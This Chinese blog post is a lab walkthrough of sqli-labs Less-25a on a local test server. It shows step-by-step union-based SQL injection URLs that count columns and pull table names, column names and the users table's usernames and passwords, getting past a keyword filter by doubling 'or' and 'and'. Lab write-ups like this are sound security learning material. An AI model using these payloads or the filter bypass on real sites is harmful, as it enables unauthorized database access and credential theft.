目 录CONTENT

文章目录

sqli-labs系列——Less-25a

CZ
CZ
2023-06-22 / 0 评论 / 0 点赞 / 266 阅读 / 2333 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言

不同于 25 关的是 sql 语句中对于 id,没有’’的包含,同时没有输出错误项,报错注入不能用。 其余基本上和 25 示例没有差别。此处采取两种方式:延时注入和联合注入,我们这边使用联合注入解题

前期准备

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节

浏览器访问Less-25a

http://192.168.199.135/sqli-labs-master/Less-25a/

image-1687397723501

判断字段数

http://192.168.199.135/sqli-labs-master/Less-25a/?id=1 oorrder by 4 -- xz
#由于页面还是显示注释了and和or,所以我们使用order by查询要改成oorrder by,1-3都显示正常,4报错,所以有3个字段数

判断库名

http://192.168.199.135/sqli-labs-master/Less-25a/?id=-1 union select 1,database(),3 -- xz

image-1687398740588

判断表名

http://192.168.199.135/sqli-labs-master/Less-25a/?id=-1 union select 1,group_concat(table_name),3  from infoorrmation_schema.tables where table_schema = 'security' -- xz
#这里的information使用双写or来绕过过滤

image-1687399024797

判断列名

http://192.168.199.135/sqli-labs-master/Less-25a/?id=-1 union select 1,group_concat(column_name),3  from infoorrmation_schema.columns where table_schema = 'security' anandd table_name = 'users' -- xz
#这里的 information和and都采用双写绕过

image-1687399101994

判断数据

http://192.168.199.135/sqli-labs-master/Less-25a/?id=-1 union select 1,group_concat(id,' ',username,' ',passwoorrd),3 from users -- xz
#这里双写password里面的or来绕过,从而查询user表中的账号密码数据
0

评论区